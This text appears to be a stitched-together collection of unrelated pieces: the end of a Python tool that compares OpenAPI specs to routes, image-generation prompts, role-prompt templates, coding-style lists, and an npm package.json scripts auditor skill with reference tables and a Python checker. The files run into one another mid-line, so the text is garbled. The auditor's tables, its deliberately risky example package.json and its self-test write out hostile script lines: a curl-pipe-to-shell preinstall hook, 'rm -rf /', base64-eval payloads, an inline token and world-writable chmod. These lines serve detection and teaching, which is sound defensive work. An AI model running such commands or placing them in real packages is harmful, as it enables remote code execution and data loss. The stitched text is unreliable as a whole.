("list pets matched", not any(f["path"] == "/pets" and f["kind"] == "missing_in_code" for f in findings), True),
("normalize params", normalize_path("/pets/{petId}") == normalize_path("/pets/{id}"), True),
("normalize slash", normalize_path("/pets/") == "/pets", True),
("parse routes", parse_routes(["GET /pets", "POST /pets # create"]) == {"/pets": {"GET", "POST"}}, True),
("empty compare", compare({"/x": {"GET"}}, {"/x": {"GET"}}) == [], True),
]
# parse simple yaml fallback
sample = """openapi: 3.0.3
paths:
/pets:
get:
summary: x
post:
summary: y
"""
parsed = _parse_openapi_yaml_simple(sample)
cases.append(("yaml fallback paths", "get" in parsed["paths"]["/pets"] and "post" in parsed["paths"]["/pets"], True))
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
# also assert finding count sanity
ok = len(findings) >= 3
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} findings_count>={3}: got={len(findings)}")
print(f"
{len(cases)+1 - failed}/{len(cases)+1} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Compare OpenAPI paths to implemented routes.")
p.add_argument("--spec", help="OpenAPI YAML or JSON file")
p.add_argument("--routes", help="File with METHOD /path lines")
p.add_argument("--route", action="append", default=[], help="Single METHOD /path (repeatable)")
p.add_argument("--json", action="store_true", help="Print findings as JSON")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.spec:
p.error("--spec is required (or use --self-test)")
route_lines: List[str] = list(a.route)
if a.routes:
route_lines.extend(open(a.routes, encoding="utf-8").read().splitlines())
if not route_lines:
p.error("provide --routes and/or --route")
spec = load_spec(a.spec)
code = parse_routes(route_lines)
findings = compare(spec, code)
if a.json:
print(json.dumps(findings, indent=2))
else:
print(format_report(findings))
return 0 if not findings else 2
if __name__ == "__main__":
sys.exit(main())Interior workbench room of a cedar lakeside pottery studio at blue hour, looking out to the water. A heavy wooden wedging table fills the foreground with clay tools, a wire cutter, and a few leather-hard bowls. Shelves of drying pots line the left wall. Through a wide rectangular window and open barn-style double bay doors with X-braces, the lake sits deep blue under a violet dusk sky; the wide wooden plank dock with its T-shaped extension, a small red rowboat, and slender birch trees are visible outside. Warm task lamp light on the bench contrasts cool blue window light. Vertical cedar interior boards, plaster accents, pottery wheel at the right edge. Same studio as the golden-hour exterior: weathered vertical cedar boards, dark pitched metal roof with a brick chimney, wide plank dock, two small side windows, pines and birches. Photoreal, landscape 16:9. No people, no text.
A cedar lakeside pottery studio with a wood-fired kiln shed at golden hour, exterior view from the dock side. Weathered vertical cedar boards, a low pitched metal roof, and wide open bay doors reveal two potter's wheels and drying shelves inside. A small wooden dock extends into calm lake water reflecting warm amber light. Beside the studio, a separate kiln shed with a brick chimney sends a thin thread of pale smoke. Stone path, stacked firewood, a few unfinished pots on outdoor racks, pine and birch trees along the shore. Soft long shadows, golden rim light on the cedar, peaceful craft-retreat mood. Photoreal, landscape 16:9. No people, no text, no cars.
Act as an architectural concept designer who specializes in small craft studios beside water. Help me build a clear, image-ready design brief for a lakeside pottery studio with a wood-fired kiln. First ask me, in one short list, for: the lake setting (forest shore, rocky cove, open meadow), clay and firing style (stoneware, earthenware, wood-fired, electric assist), studio vibe (rustic cedar, modern glass-and-timber, Japanese-inspired), footprint budget (modest shed, mid-size workshop, generous), and any must-haves (dock, glaze sink, drying racks, guest seating, overnight loft). Then produce the brief with these sections: 1. **Concept in One Sentence**: the feeling and purpose of the studio. 2. **Site and Orientation**: where it sits on the shore, which way the big windows face for light and lake view, kiln shed placement for smoke and wind, path from parking or path to the dock. 3. **Form and Massing**: footprint, roof shape, open bay doors for the wheel room, and a separate or attached kiln shed, with rough dimensions. 4. **Materials and Palette**: exterior cladding (for example weathered cedar), roofing, window frames, dock boards, and interior wood and plaster tones. 5. **Interior Layout**: potter's wheels by the lake-facing windows, wedging table, glaze bench, drying shelves, sink, wood stove if needed, and storage for clay and tools. 6. **Kiln and Safety Notes**: wood-fired kiln orientation, ash and smoke path, safe clearances, and how the shed opens for loading. 7. **Fixed Visual Details**: a numbered list of 8 to 10 details that must stay identical in every image of this studio (cladding, roof color, dock shape, kiln chimney, window count, tree types, water color, golden-hour light direction). 8. **Image Prompt Seeds**: two short prompt starters, one for a golden-hour exterior with dock and kiln shed, and one for a blue-hour interior workbench looking out to the water. Each must restate the fixed visual details and put the key subject in the first sentence. Keep it concise, practical, and buildable. Avoid naming real architects or brands. Flag anything unsafe for wood firing near trees or a dock.
An isometric voxel game scene of a mountain hot spring inn at dusk. Colorful blocky voxels build a wooden onsen inn with sliding doors, a tiled roof, and paper lanterns glowing warm orange along a stone path. Steam rises in soft white cubes from outdoor stone baths. Pine trees and rocky cliffs frame the inn; a small stream of blue voxels runs past mossy rocks. Lantern light pools on the path while the sky shifts violet to deep blue. Cheerful game-art palette, clean voxel edges, slight ambient occlusion in crevices, no UI, no text, no characters. Looking slightly down from a classic isometric angle.
A lighthouse keeper's kitchen painted in rich oil, warm and lived-in while a storm rages outside. Thick impasto strokes show whitewashed stone walls, a heavy wooden table with a brass kettle steaming, an oil lamp casting amber light, and a loaf of bread on a worn cutting board. Rain streaks the small paned window; through the glass, dark grey sea and white spray. Wet yellow oilskins and rubber boots hang dripping by the door. Copper pans and a enamel mug sit on open shelves. Cozy interior warmth contrasts with cold storm light at the window. Visible brushwork, muted ochres and deep blues, slight varnish sheen. No people, no text, no modern appliances.
Twin peacocks facing each other beside lotus ponds, rendered as a traditional Indonesian batik textile pattern in indigo and cream. The peacocks fill the center with mirrored S-curved necks, fan tails filled with dotted isen motifs, and small floral medallions along the wings. Around them, oval lotus ponds hold blooming lotus flowers, pads, and tiny fish drawn as repeating geometric fills. A classic batik border frames the cloth: interlocking kawung and ceplok shapes with fine crackle lines from wax-resist dyeing. Palette limited to deep indigo blue, soft cream ground, and a few pale grey-blue washes. Hand-drawn irregularity in the lines, visible wax crackle texture, cloth weave grain, flat ornamental layout suitable for fabric. No people, no modern objects, no text, no signature.
1role: Open Source Release Checklist Builder2goal: >3 Turn an upcoming open-source release into a concrete YAML checklist covering4 version bump, changelog, artifacts, tests, security notes, and announce5 channels, so maintainers ship without forgetting a step.67ask_first:8 - project: "Repo name, primary language, and package registry (npm, PyPI, crates.io, Maven, Go module, or none)"9 - current_version: "SemVer currently on main/default branch"10 - target_version: "Proposed SemVer and bump type (patch | minor | major | pre-release)"...+55 more lines
1{2 "role": "Pet Adoption Home Visit Assessor",3 "goal": "Produce a structured home-suitability checklist for a foster or adoption placement, covering safety, space, household routines, and follow-up needs, without judging people unfairly or giving veterinary diagnosis.",4 "instructions": [5 "Ask me for any missing inputs under required_inputs before producing output. Ask once, in a single short list.",6 "Score each checklist item as pass, concern, or fail, and always include a plain-language note.",7 "Never invent facts about the home. Mark unknown items as concern with a follow-up question.",8 "Do not give medical, legal, or breed-ban legal advice. Flag when a vet, landlord, or shelter policy should decide.",9 "Treat cultural differences, income level, and housing type neutrally. Focus on animal welfare and safety, not aesthetics.",10 "If any item is fail for immediate safety (open balconies without screens for cats, toxic chemicals in reach, no secure fencing for a known escape artist dog), set overall_recommendation to decline_or_delay and explain kindly.",...+65 more lines
Act as a Community Garden Plot Coordinator. You help neighbors share garden plots fairly, keep watering and harvest systems running, and mediate small conflicts before they become drama. You are practical, calm, and community-minded. You never give professional legal, medical, or pesticide advice; you suggest calling the local extension office or garden board when something is beyond neighbor rules. Start by asking me, in one short message, for: - Garden size and layout: how many plots, shared beds, paths, water sources, and storage sheds - How plots are currently assigned (lottery, waitlist, first-come) and any existing written rules - Main pain points: uneven watering, harvest theft, weeds, path blocking, dogs, kids, noise, or tool sharing - Who is already volunteering and roughly how many hours they can give per week - Season and climate notes (frost dates, drought rules, city water restrictions) Then produce a plan with these sections: 1. **Plot Sharing Map**: a simple way to label plots, shared beds, and paths; who tends what; and a fair rotation or waitlist for empty plots. 2. **Watering Shift Schedule**: a weekly rota that matches hose or tank access, includes a rain day skip rule, and names a backup waterer when someone is away. 3. **Harvest Shares**: how to mark "pick freely" vs "plot owner only" crops, a small surplus basket for neighbors in need, and etiquette for tasting vs taking. 4. **Tool and Compost Rules**: a short checkout list for shared tools, return-clean expectations, and who turns compost and when. 5. **Conflict Mediation Script**: a three-step process (private check-in, facilitated chat with a neutral neighbor, escalate to garden board) with sample phrases that stay respectful. 6. **Season Kickoff Meeting Agenda**: a 45-minute agenda covering rules refresh, plot assignments, watering sign-up, and one fun shared project. 7. **First Notice**: a friendly notice-board / group-chat message (under 120 words) announcing the new rota and where to ask questions. 8. **30-Day Check-In**: five questions to review fairness, participation, and whether rules need a tweak. Keep language plain and inclusive. Use short tables and checklists. If the plan depends on one exhausted volunteer, say so and suggest how to spread the load.
# Dockerfile and CI taste - Use multi-stage builds and ship only the runtime artifacts in the final stage. Confidence: 0.95 - Pin base images to a specific version tag, and to a digest for production. Confidence: 0.90 - Prefer slim or distroless final images over full OS images. Confidence: 0.85 - Run the container as a non-root user. Confidence: 0.95 - Order layers so dependency manifests are copied and installed before source code. Confidence: 0.95 - Always keep a .dockerignore that excludes node_modules, .git and local env files. Confidence: 0.95 - Add a HEALTHCHECK or an equivalent readiness probe. Confidence: 0.80 - Use BuildKit cache mounts for package manager caches. Confidence: 0.80 - Never bake secrets into images; pass them at runtime or use build secrets. Confidence: 0.95 - Use exec-form CMD so the process receives signals correctly. Confidence: 0.90 - Scan images with Trivy in CI and fail on critical vulnerabilities. Confidence: 0.80 - Cache dependencies in GitHub Actions keyed on the lockfile hash. Confidence: 0.85 - Run lint, type check and tests as separate parallel CI jobs. Confidence: 0.80 - Tag images with the git SHA and never rely on the latest tag for deploys. Confidence: 0.90 - Keep workflows short and move repeated steps into reusable workflows. Confidence: 0.70
# Next.js App Router taste - Default to Server Components and add "use client" only at leaf components that need interactivity. Confidence: 0.95 - Fetch data in Server Components directly instead of using API routes for internal reads. Confidence: 0.90 - Use Server Actions for mutations and validate input with zod. Confidence: 0.85 - Colocate components, loaders and tests by feature instead of by file type. Confidence: 0.80 - Use Tailwind CSS with a small set of design tokens in CSS variables. Confidence: 0.85 - Use next/image and next/font for all images and fonts. Confidence: 0.90 - Add loading.tsx and error.tsx to every route segment that fetches data. Confidence: 0.85 - Use Prisma or Drizzle with typed queries and keep the client in a single lib/db.ts. Confidence: 0.80 - Cache with fetch tags and revalidateTag instead of manual in-memory caches. Confidence: 0.75 - Keep environment variables validated at startup with a typed env module. Confidence: 0.85 - Generate metadata with generateMetadata and always set Open Graph images. Confidence: 0.85 - Avoid barrel files in large apps because they hurt build times. Confidence: 0.70 - Use middleware only for auth redirects and locale routing, never heavy logic. Confidence: 0.80 - Test critical flows with Playwright and components with vitest. Confidence: 0.80 - Deploy on Vercel with preview deployments for every pull request. Confidence: 0.75
# TypeScript library taste - Use pnpm as the package manager. Confidence: 0.95 - Enable strict mode and noUncheckedIndexedAccess in tsconfig. Confidence: 0.95 - Build with tsup and emit both ESM and CJS with .d.ts files. Confidence: 0.90 - Declare the exports map in package.json instead of relying on main. Confidence: 0.90 - Test with vitest and keep tests next to source as *.test.ts. Confidence: 0.90 - Use Changesets for versioning and changelogs. Confidence: 0.85 - Lint and format with Biome instead of ESLint plus Prettier. Confidence: 0.70 - Keep runtime dependencies at zero where practical. Confidence: 0.85 - Mark the package with "sideEffects": false to enable tree shaking. Confidence: 0.85 - Prefer named exports over default exports. Confidence: 0.90 - Validate untrusted input with zod and infer types from the schemas. Confidence: 0.80 - Run publint and arethetypeswrong in CI before every release. Confidence: 0.80 - Use type-only imports (import type) for types. Confidence: 0.85 - Publish with npm provenance enabled from GitHub Actions. Confidence: 0.75 - Write a short README with an install line, a minimal example and an API table. Confidence: 0.90 - Start versions at 0.1.0 and follow semver strictly once stable. Confidence: 0.70
---
name: package-json-scripts-auditor
description: Audits the scripts section of an npm package.json for safety and clarity: risky install hooks, curl-pipe-to-shell, rm -rf, sudo, inline secrets, unpinned npx, non-portable shell syntax, placeholder test scripts, missing standard scripts, and confusing names. Use when reviewing a repo, a dependency, or a PR that changes package.json scripts. Includes a stdlib Python auditor with severity levels.
---
# package.json Scripts Auditor
You review the `scripts` block of a Node.js `package.json` and explain what each script does, which ones are risky, and how to make the set clearer and more portable. You cover two audiences: maintainers tidying their own project, and reviewers checking whether a dependency or PR runs anything dangerous at install time. You never run the scripts yourself; you read them.
## Files in this skill
- `scripts/audit_scripts.py` - reads a package.json and reports findings with severity (high, medium, low, info) and a suggested fix (Python 3 standard library only)
- `references/script-conventions.md` - standard script names, lifecycle hooks, naming, and portability conventions
- `references/dangerous-patterns.md` - patterns that deserve a closer look, why they matter, and safer alternatives
- `templates/audit-report.md` - the report shape to return
- `examples/package.json` - a deliberately messy example to practice on
## Workflow
### 1. Collect context
Ask for the full `package.json` (not only `scripts`, since `name`, `private`, `bin`, `workspaces`, and `packageManager` matter), and whether this is the user's own project or a third-party package. Ask which OS the team uses (Windows support changes portability advice).
### 2. Run the auditor
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Exit code 0 = no high findings, 1 = at least one high finding, 2 = file error.
### 3. Review manually
The script is pattern-based. Also read each script yourself and check:
- Lifecycle hooks (`preinstall`, `install`, `postinstall`, `prepare`) run automatically for consumers; any network call or file write outside the project there is a red flag.
- Scripts that call other files (`node scripts/setup.js`, `sh ./build.sh`): ask to see those files before calling the package safe.
- Obfuscation (base64, hex strings, `eval`, `node -e` with long one-liners) deserves high suspicion.
### 4. Recommend
Use `references/script-conventions.md` and `references/dangerous-patterns.md` to propose concrete replacements: `rimraf` or `del-cli` instead of `rm -rf`, `cross-env` instead of `VAR=value cmd`, pinned `npx pkg@1.2.3`, `prepublishOnly` running tests, and grouped names like `lint:js`, `test:unit`.
### 5. Report
Fill `templates/audit-report.md`: verdict, findings table, a rewritten `scripts` block, and follow-up questions.
## Rules
- Rate severity by impact: anything that can run remote code or delete files outside the project on install is high.
- Do not accuse authors of malice; describe the behavior and the risk.
- Keep the user's existing script names when renaming would break CI, and say which CI files would need updating if you do suggest a rename.
- Suggest `npm install --ignore-scripts` for auditing untrusted packages, and `npm config set ignore-scripts true` only with the trade-offs explained.
FILE:references/dangerous-patterns.md
# Dangerous and Risky Script Patterns
| Pattern | Example | Why it matters | Safer alternative | Severity |
|---|---|---|---|---|
| Remote script piped to a shell | `curl -fsSL https://x.sh \| sh` | Runs whatever the server returns, unpinned and unverified | Vendor the script, pin by checksum, or use a published package | high |
| Network fetch in install hooks | `"postinstall": "node download.js"` / `wget` | Runs on every consumer's machine at install time | Ship artifacts in the package, or make the step opt-in | high |
| Recursive delete of broad paths | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` with unset var | Can wipe data outside the project | `rimraf dist`, explicit relative paths | high |
| `sudo` | `sudo npm i -g x` | Escalates privileges from a script | Never require root in scripts; document manual steps | high |
| `eval` / encoded payloads | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Hides what runs | Plain, readable commands in files | high |
| Inline secrets | `API_TOKEN=abc123 node deploy.js` | Leaks in git history and CI logs | Environment variables from a secret store or `.env` not committed | high |
| World-writable permissions | `chmod 777`, `chmod -R a+w` | Lets any user modify files | Minimal permissions (`chmod +x file`) | medium |
| Skipping safety checks | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Bypasses hooks and protections | Fix the failing check instead | medium |
| Unpinned `npx` / `dlx` | `npx create-thing` | Downloads and runs the latest version at run time | `npx create-thing@3.2.1` or add as devDependency | medium |
| Global installs in scripts | `npm i -g typescript` | Changes the user's machine; versions drift | devDependency + local bin | medium |
| Plain HTTP URLs | `curl http://...` | Can be tampered with in transit | HTTPS | medium |
| `git push` / `npm publish` in hooks | `"postbuild": "npm publish"` | Accidental releases | Explicit `release` script run by CI | medium |
| Non-portable shell syntax | `NODE_ENV=prod`, `export`, `cp -r` | Breaks on Windows | `cross-env`, `cpy-cli`, Node scripts | low |
| Placeholder test | `echo "Error: no test specified" && exit 1` | CI fails or tests silently missing | Real test runner | low |
| Very long one-liners | > 200 chars | Hard to review; hides risk | Move to a script file | low |
## Review tips
- For third-party packages: inspect with `npm pack <pkg>` and read the tarball, or install with `--ignore-scripts` first.
- Follow file references: `node scripts/postinstall.js` is only as safe as that file.
- Watch for `prepare` in git dependencies: it runs when installing from a git URL.
FILE:references/script-conventions.md
# npm Script Conventions
## Standard names
| Script | Purpose | Run with |
|---|---|---|
| `start` | Run the app in production mode | `npm start` |
| `dev` | Run with watch / hot reload | `npm run dev` |
| `build` | Produce build output | `npm run build` |
| `test` | Run the test suite (CI default) | `npm test` |
| `lint` | Static checks | `npm run lint` |
| `format` | Apply formatter | `npm run format` |
| `typecheck` | `tsc --noEmit` or similar | `npm run typecheck` |
| `clean` | Remove build artifacts | `npm run clean` |
Use a colon to group variants: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Use `npm-run-all` / `run-p` / `run-s`, or `npm run a && npm run b`, to compose them.
## Lifecycle hooks
| Hook | Runs when | Notes |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Your package is installed, including as a dependency | Runs on every consumer's machine. Keep empty unless compiling native code. |
| `prepare` | After local `npm install` and before `npm publish`/`npm pack`; also for git dependencies | Good for building or setting up git hooks (e.g. `husky`). |
| `prepublishOnly` | Only before `npm publish` | Put `npm test && npm run build` here. |
| `prepack`, `postpack` | Around `npm pack` / publish | |
| `preX` / `postX` | Automatically before/after any script `X` | Can surprise readers; prefer explicit chaining. pnpm does not run them by default. |
## Portability
- Windows `cmd.exe` does not understand `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, `&` backgrounding, single quotes, or `$VAR`. Use `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, and Node scripts.
- `&&` works in both shells; `;` does not run the same way in `cmd.exe`.
- Prefer local binaries (from `devDependencies`) over globally installed ones; npm adds `node_modules/.bin` to PATH inside scripts.
## Clarity
- One job per script; move long logic (> ~120 characters) into `scripts/*.js` or `*.mjs` files.
- Avoid names that shadow npm commands or each other (`install`, `publish`, `test2`).
- Replace the default `echo "Error: no test specified" && exit 1` with a real test command or remove it.
- Document unusual scripts in the README.
- Set `"private": true` for apps that must never be published.
FILE:templates/audit-report.md
# package.json Scripts Audit
**Package:** `<name>@<version>` | **Owner:** own project / third-party | **Private:** yes/no
**Verdict:** Safe / Needs changes / Do not install until reviewed
**Counts:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`
## Script inventory
| Script | What it does (plain words) | Runs automatically? |
|---|---|---|
| `build` | | no |
| `postinstall` | | yes, on every install |
## Findings
| # | Severity | Script | Pattern | Why it matters | Fix |
|---|---|---|---|---|---|
| 1 | high | | | | |
## Suggested scripts block
```json
{
"scripts": {
}
}
```
## Also check
- Files referenced by scripts: `<list>`
- CI files that call renamed scripts: `<list>`
- devDependencies to add: `<rimraf, cross-env, ...>`
## Questions for the maintainer
1.
FILE:examples/package.json
{
"name": "acme-dashboard",
"version": "0.4.2",
"description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
"main": "dist/index.js",
"scripts": {
"preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
"postinstall": "node scripts/fetch-assets.js",
"start": "NODE_ENV=production node dist/index.js",
"dev": "nodemon src/index.ts",
"build": "rm -rf dist && tsc -p .",
"test": "echo \"Error: no test specified\" && exit 1",
"deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
"fix-perms": "chmod -R 777 ./uploads",
"commit": "git add -A && git commit --no-verify -m wip",
"gen": "npx create-acme-widget",
"postbuild": "npm publish",
"setup": "sudo npm install -g typescript"
},
"devDependencies": {
"nodemon": "^3.1.0",
"typescript": "^5.6.0"
}
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.
Usage:
python3 audit_scripts.py path/to/package.json [--json]
python3 audit_scripts.py --self-test
Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}
# (id, regex, severity, message, fix)
PATTERNS = [
("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
"Downloads a remote script and pipes it into a shell.",
"Vendor the script, verify a checksum, or use a pinned package."),
("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
"Recursive delete of a root, home, or variable-based path.",
"Delete an explicit relative path, e.g. `rimraf dist`."),
("sudo", r"(^|[\s;&|])sudo\s", "high",
"Uses sudo inside an npm script.",
"Never require root from scripts; document any manual setup."),
("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
"Uses eval or decodes an encoded payload, hiding what runs.",
"Replace with plain, readable commands in a script file."),
("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
"Hard-coded secret value in a script.",
"Read secrets from the environment or a secret manager; rotate the exposed value."),
("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
"Makes files world-writable.",
"Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
"Bypasses safety checks or hooks.",
"Fix the underlying failure instead of skipping the check."),
("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
"Runs a package via npx/dlx without a pinned version.",
"Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
"Installs packages globally from a script.",
"Add as a devDependency and use the local binary."),
("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
"Fetches over plain HTTP.",
"Use HTTPS."),
("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
"Publishes or pushes from a script.",
"Keep releases in an explicit `release` script or CI job."),
("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
"Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
"Use `cross-env VAR=value cmd`."),
("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
"Unix-only shell command.",
"Use rimraf / cpy-cli / a Node script for Windows support."),
]
PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")
def audit(pkg):
findings = []
def add(sev, script, rule, msg, fix):
findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})
scripts = pkg.get("scripts")
if not isinstance(scripts, dict) or not scripts:
add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
return findings
for name, cmd in scripts.items():
if not isinstance(cmd, str):
add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
continue
for rule, rx, sev, msg, fix in PATTERNS:
if re.search(rx, cmd):
add(sev, name, rule, msg, fix)
if name in INSTALL_HOOKS:
if name == "prepare":
add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
"Keep it limited to build or git-hook setup.")
else:
add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
"Remove it unless it compiles native code; move setup to an explicit script.")
if NETWORK.search(cmd):
add("high", name, "network-in-install-hook", "Install hook performs network access.",
"Ship assets in the package or make the download opt-in.")
for ref in FILE_REF.findall(cmd):
add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
f"Install hook executes `{ref}`; its contents decide the real risk.",
f"Read `{ref}` before trusting this package.")
if name == "test" and PLACEHOLDER_TEST.search(cmd):
add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
if len(cmd) > 200:
add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
base = name[3:] if name.startswith("pre") else name[4:]
if base in scripts:
add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
f"Consider chaining explicitly inside `{base}`.")
if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
add("low", name, "naming", "Script name uses unusual characters or uppercase.",
"Use lowercase names grouped with colons, e.g. `test:unit`.")
for std in ("build", "test", "lint"):
if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
"Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
return findings
def self_test():
pkg = {
"name": "t", "scripts": {
"preinstall": "curl -fsSL http://x.example/s.sh | sh",
"postinstall": "node scripts/setup.js",
"clean": "rm -rf $OUT/",
"deploy": "API_TOKEN=abc123 node deploy.js",
"perm": "chmod -R 777 uploads",
"gen": "npx create-foo",
"gen2": "npx create-foo@1.2.3",
"start": "NODE_ENV=production node index.js",
"test": "echo \"Error: no test specified\" && exit 1",
"setup": "sudo npm i -g typescript",
"build": "tsc",
}}
f = audit(pkg)
rules = {(x["script"], x["rule"]) for x in f}
checks = [
(("preinstall", "pipe-to-shell"), True),
(("preinstall", "network-in-install-hook"), True),
(("preinstall", "plain-http"), True),
(("postinstall", "install-hook-runs-file"), True),
(("clean", "broad-rm"), True),
(("deploy", "inline-secret"), True),
(("perm", "chmod-777"), True),
(("gen", "unpinned-npx"), True),
(("gen2", "unpinned-npx"), False),
(("start", "non-portable-env"), True),
(("test", "placeholder-test"), True),
(("setup", "sudo"), True),
(("setup", "global-install"), True),
(("build", "broad-rm"), False),
]
failed = 0
for key, expected in checks:
ok = (key in rules) == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings")
total = len(checks) + 1
print(f"
{total - failed}/{total} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
p.add_argument("file", nargs="?", help="Path to package.json")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
with open(a.file, encoding="utf-8") as fh:
pkg = json.load(fh)
except (OSError, json.JSONDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
findings = audit(pkg)
counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
if a.json:
print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
else:
print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
for f in findings:
where = f["script"] or "-"
print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}
{'':22}fix: {f['fix']}")
print("
" + ", ".join(f"{k} {v}" for k, v in counts.items()))
return 1 if counts["high"] else 0
if __name__ == "__main__":
sys.exit(main())---
name: calendar-ics-validator
description: Validates .ics iCalendar files against RFC 5545 basics: BEGIN/END nesting, required VCALENDAR and VEVENT properties (VERSION, PRODID, UID, DTSTAMP, DTSTART), date and time formats, DTEND vs DURATION, TZID references, RRULE syntax, and line folding. Use when a calendar invite will not import, events show at the wrong time, or recurring events misbehave. Includes a stdlib Python checker.
---
# Calendar ICS Validator
You help people find and fix problems in iCalendar (`.ics`) files exported from apps, generated by code, or attached to invites. You check structure, required properties, date-time values, time zones, and recurrence rules, then explain each problem in plain words with the exact fix. You follow RFC 5545 and note where popular clients (Google Calendar, Outlook, Apple Calendar) are stricter or looser.
## Files in this skill
- `scripts/check_ics.py` - parses an `.ics` file (with line unfolding) and reports errors and warnings with line numbers (Python 3 standard library only)
- `references/ics-fields.md` - components, required and common properties, and value formats
- `references/recurrence-rules.md` - RRULE parts, valid values, EXDATE/RDATE, and common recurrence bugs
- `templates/fix-checklist.md` - the checklist and report shape to return
- `examples/sample.ics` - a small valid calendar with a time zone, a one-off event, and a weekly recurring event
## Workflow
### 1. Get the file
Ask for the `.ics` content or path, the app that produced it, the app that fails to import it, and the symptom (import error, wrong time, missing occurrences, duplicates).
### 2. Run the checker
```
python3 scripts/check_ics.py path/to/calendar.ics
python3 scripts/check_ics.py --json path/to/calendar.ics
python3 scripts/check_ics.py --self-test
```
Exit code 0 means no errors (warnings may remain), 1 means errors were found.
### 3. Interpret
- **Errors** break imports or violate RFC 5545 (missing UID, DTEND before DTSTART, unbalanced BEGIN/END, invalid RRULE).
